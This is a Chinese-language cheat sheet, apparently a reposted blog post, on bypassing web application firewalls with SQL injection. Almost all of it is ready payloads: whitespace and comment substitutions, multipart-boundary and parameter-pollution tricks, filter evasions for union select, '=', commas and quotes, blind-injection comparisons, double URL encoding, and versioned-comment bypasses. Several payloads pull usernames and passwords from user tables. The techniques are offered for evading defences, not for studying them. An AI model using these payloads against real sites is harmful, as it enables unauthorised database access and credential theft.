Sql-injection ByPass WAF by L0st

常见的几种WAF

  1. 云WAF(CDN中包含WAF)
    通常需要将DNS解析到CDN的IP上去,请求URL时,数据包先经过云WAF检测,通过后再发送给主机。
  2. 主机防护软件
    可用于扫描和保护主机,并监听WEB端口流量是否有恶意的,功能较为全面。
  3. 硬件ips/ids防护、硬件waf
    使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。

常用占位符号

SQL语句可插入符号位[]:

select * from pwd where id=1[]union[]select[]username,password[]from[]pwd;
可以当空格使用的符号
  1. 注释符
    #
    --
    -- -
    --+
    //
    /**/
    /*letmetest*/
    ;%00
  2. 空白字符

SQLite3: 0A 0D 0C 09 20
MySQL5: 09 0A 0B 0C 0D A0 20
PosgresSQL: 0A 0D 0C 09 20
Oracle: 11g 00 0A 0D 0C 09 20
MSSQL: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15, 16,17,18,19,1A,1B,1C,1D,1E,1F,20

  1. + -
  2. ``符号,如 `schema_name`
  3. ~
  4. !
  5. 圆括号()
  6. @`id` 如select@`id`
  7. .1 和 /*.1*/
  8. 单双引号' ' " "
  9. 花括号{}
  10. 常用urlencode:
Urlencode Urldecode
%0A \n
%23 #
%2d -
%0B vertical tab
%0C new page
%0D carriage return
%A0 non-breaking space
%20 Space
%09 Horizontal Tab
%26 &(and)
  1. 科学记数法
  2. 空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0

可运用的SQL函数及关键词

MySQL:

  1. union
  2. union distinct
  3. union all
  4. union distinctrow
  5. procedure
  6. analyse()
  7. updatexml()
  8. extracavalue()
  9. exp()
  10. ceil()
  11. atan()
  12. sqrt()
  13. floor()
  14. ceiling()
  15. tan()
  16. rand()
  17. sign()
  18. greatest()

字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)

字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)

字符转换
Char(49)
Hex('a')
Unhex(61)

如果过滤了逗号

  1. limit处的逗号: limit 1 offset 0
  2. 字符串截取处逗号: mid(version() from 1 for 1)

MSSQL:

  1. IS_SRVROLEMEMBER()
  2. IS_MEMBER()
  3. HAS_DBACCESS()
  4. convert()
  5. col_name()
  6. object_id()
  7. is_srvrolemember()
  8. is_member()

字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)

字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
Char('97')
exec()

multipart请求中的注入

PHP解析器在解析multipart请求的时候,它以逗号作为边界,只取boundary,而普通解析器接受整个字符串。 因此,如果没有按正确规范的话,就会出现这么一个状况:首先填充无害的data,waf将其视为了一个整体请求,其实还包含着恶意语句。

    ------,xxxx
    Content-Disposition: form-data; name="img"; filename="img.gif"
    GIF89a
    ------
    Content-Disposition: form-data; name="id"
    1' union select null,null,flag,null from flag limit 1 offset 1-- -
    --------
    ------,xxxx--

一个可根据需要进行修改的HTML表单提交页面:




HTTP参数污染

假设提交的参数即为:id=1&id=2&id=3
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3

mysql自定义变量

Bypass Payload:
id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd

?id=0'|@pwd:=(select user())/**/union/**/select 1,@pwd,3 --+

绕过'='过滤

解决方法:使用like查询
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
使用sounds like:
'or+(1)sounds/**/like"1"--%a0-

绕过where name= 条件处引号限制

  1. where username= 0x61646D696E HEX编码
  2. where username= CHAR(97, 100, 109, 105, 110) 使用CHAR()函数

盲注中的条件语句

  1. SELECT IF(1=1, true, false);
  2. SELECT CASE WHEN 1=1 THEN true ELSE false END;
  3. IFNULL()
  4. NULLIF()

括号的用法

UNION(SELECT(column)FROM(table))

过滤 and or

1 or 1=1 and 1=1
payload:
1 || 1=1 1&& 1=1

我在测试过程中发现id=1%20%26%201=1--+才能正确执行and语句,&&无效

字符串格式

' or "a"='a'
' or 'a'=n'a'               //unicode
' or 'a'=b'1100001'         //binary
' or 'a'=_binary'1100001'   //5.5.41下测试无效
' or 'a'=x'61'              //16进制

另外,字符型 or and 关键词不需要加空格,
例如id=1%27and%271%27=%271 \\id=1'and'1'='1

过滤 union select

过滤正则/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -

过滤limit

select * from users where id=1;
select * from users group by id having id=1;

特殊的盲注——对比关键字

'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))

盲注中的conv()函数

conv(字符串,被转换字符进制,转换后的进制)
conv(hex('a'),16,10)

reverse截取函数

reverse('abcdef')='fedcba'

PHP中的PATH_INFO特性

访问 http://......./3.php?id=1
等价于 http://......./3.php/xxxxxxx?id=1
针对白名单绕过很有效,很多WAF考虑到效率对于后缀为.js .jpg的文件不进行检查,故造成绕过

针对http请求数据包

畸形method:
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容

cookie:
某些参数通过GET,POST,COOKIE进行传送,故Cookie处亦可以进行注入

双重URL编码

双重URL编码: 即web应用层在接受到经过服务器层解码后的参数后,又进行了一次URL解码
我们可以将sql语句urlencode两次进行注入

mysql语句可以换行的特性

由于mysql类似C语言,将 ; 符号作为一条语句的结束,故可以在注入语句中加入换行符搭配注释符使用:
id=1'+union--+aaaaaaaaaaaaa%0ASelect--+bbbbbbbbb%0Auser,passwd/**/from%23%0Auser;%00

id=1' union--+aaaaaaaaaaaaaaaaaaaaaaaaaa
Select--+bbbbbbbbbbbbbbbbb
user,passwd from#bbbbbbbbbbbbbbbbb
user;bbbbbbbbbbb

实例:
?id=0%27union--+aaaaaa%0Aselect--+bbbbbb%0A1,2,3--+

搞不懂的/!*...*/ (可过360)

id=1 union/*!/*!select 1,2,3*/from dual

你可能感兴趣的:(Sql-injection ByPass WAF by L0st)